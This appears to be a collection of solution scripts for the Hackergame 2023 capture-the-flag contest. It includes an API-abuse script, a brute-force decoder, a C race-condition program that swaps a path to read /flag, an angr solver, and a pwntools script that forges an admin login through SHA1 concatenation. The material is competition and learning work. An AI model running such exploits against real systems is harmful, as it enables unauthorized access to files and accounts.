Hackergame 2023¶

import requests
import json
from time import sleep
cookies = {
    'session': 'token'
}
msg = requests.post('http://202.38.93.111:10021/api/getMessages', cookies=cookies)
msg = json.loads(msg.text)
msg = msg['messages']

def back(idx):
    back = requests.post('http://202.38.93.111:10021/api/deleteMessage', cookies=cookies, json={'id': idx})
    try:
        back = json.loads(back.text)
    except:
        print('err:' + back.text)
    return back

for id, i in enumerate(msg):
    if 'hack[' in i['text']:
        t=back(id)
        # 这里可以优化一下，不过懒癌犯了
        while(t.get('error')=='检测到时空穿越'):
            t=back(id)
        # print(id, t)

flag = requests.post('http://202.38.93.111:10021/api/getflag', cookies=cookies)
flag = json.loads(flag.text)
print(flag)

GET /\r\n

cod_dict = []
cod_dict += ['nymeh1niwemflcir}echaet']
cod_dict += ['a3g7}kidgojernoetlsup?h']
cod_dict += ['ulw!f5soadrhwnrsnstnoeq']
cod_dict += ['ct{l-findiehaai{oveatas']
cod_dict += ['ty9kxborszstguyd?!blm-p']

def get_cod_dict(c_dict):
    return ''.join(c_dict)

def decrypt_data(input_codes):
    flags = []
    for k in range(23):
        print(k)
        for j in range(23):
            for t in range(23):
                for p in range(23):
                    for f in range(23):
                        cd_dict = cod_dict.copy()
                        cd_dict[0] = cod_dict[0][:k] + cod_dict[0][k] + cod_dict[0][k:]
                        cd_dict[1] = cod_dict[1][:j] + cod_dict[1][j] + cod_dict[1][j:]
                        cd_dict[2] = cod_dict[2][:t] + cod_dict[2][t] + cod_dict[2][t:]
                        cd_dict[3] = cod_dict[3][:p] + cod_dict[3][p] + cod_dict[3][p:]
                        cd_dict[4] = cod_dict[4][:f] + cod_dict[4][f] + cod_dict[4][f:] 
                        print(cd_dict)
                        st_dict = get_cod_dict(cd_dict)
                        output_chars = [st_dict[c] for c in input_codes]
                        if 'flag{' in ''.join(output_chars):
                            flags.append(''.join(output_chars))
    return flags

flags = decrypt_data([53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
                    17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
                    31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
                    25, 63, 77, 36, 5, 32, 60, 67, 113, 28])

print(set(flags))

#include <stdio.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>

char flagfile[] = "/flag";

void *read_file() {
    char buf[100] = {};
    while (1) {
        int f = open(flagfile, O_RDONLY);
        if (!f) {
            continue;
        }
        read(f, buf, 99);
        if (buf[0] && buf[0] != 'I') {
            printf("%s\n", buf);
            exit(0);
        }
        close(f);
    }
}

void *modify() {
    struct timespec req;
    req.tv_sec = 0;
    req.tv_nsec = 50;
    while (1) {
        flagfile[1] = 'a';
        // sleep is not allowed. So just don't sleep.
        // nanosleep(&req, NULL);
        flagfile[1] = 'f';
    }
}

int main() {
    printf("pthread\n");
    pthread_t t1, t2;
    pthread_create(&t1, NULL, read_file, NULL);
    pthread_create(&t2, NULL, modify, NULL);

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    printf("done?\n");
    return 0;
}

import angr, monkeyhex, claripy
proj = angr.Project('no_need_for_F5/main.exe')
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(32)]
flag = claripy.Concat(*[claripy.BVV(b'flag{')]+flag_chars+[claripy.BVV(b'}\x00')])
state = proj.factory.call_state(0x140001000)
input_addr = 0

@proj.hook(0x140001093, length=5)
def get_input(state):
    global input_addr
    input_addr = state.regs.rdx
    state.memory.store(input_addr,flag)
    print('Input done')

@proj.hook(0x140001079, length=5)
def printf(state):
    return

simgr = proj.factory.simgr(state)
simgr.explore(find=0x1400013A1, avoid=0x1400013B7)
simgr.found[0].solver.eval(flag).to_bytes(39,"big")

from itertools import product
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
prefix = 'admin:'

for i in product(str1, repeat=8):
    user = prefix + ''.join(i)
    x = f(user.encode())
    # x = com(x, x)
    if b':' not in x:
        try:
            x.decode()
            print(user, x)
        except:
            pass  

from hashlib import sha1
from pwn import *

f = lambda data: sha1(data)
def com(x,y):
    if isinstance(x, bytes):
        t = x
    else:
        t = x.digest()
    if isinstance(y, bytes):
        p = y
    else:
        p = y.digest()
    if t>p: t,p=p,t
    return t+p

if __name__ == '__main__':
    p = remote('202.38.93.111', 10094)
    token = b'2269:MEUCIFS9KtX84tx7Ri01S4JNBKL/H1pJ2+sHChO3/WlK7QsXAiEA5cTIFBDrdJQfvOANFq0hGHLglZHY31APxc62zvSnKug='

    p.recvuntil('token:')
    p.sendline(token)
    p.recvuntil('Choice:')
    p.sendline(b'1')

    def sendu(data):
        p.recvuntil('>')
        p.sendline(data)

    test0 = [b'admin:aaaadcLd', b'admin:aaaaanRH']
    test1 = b'a:a'
    test3 = com(f(test0[0]), f(test0[1]))

    sendu(test1)
    sendu(test3)

    sendu(b'EOF')
    p.recvuntil('Choice:')
    p.sendline(b'2')
    p.recvuntil('Login credential: ')
    p.sendline(test0[0].decode()+':'+f(test0[1]).hexdigest()+sha1(test1).hexdigest())
    p.interactive()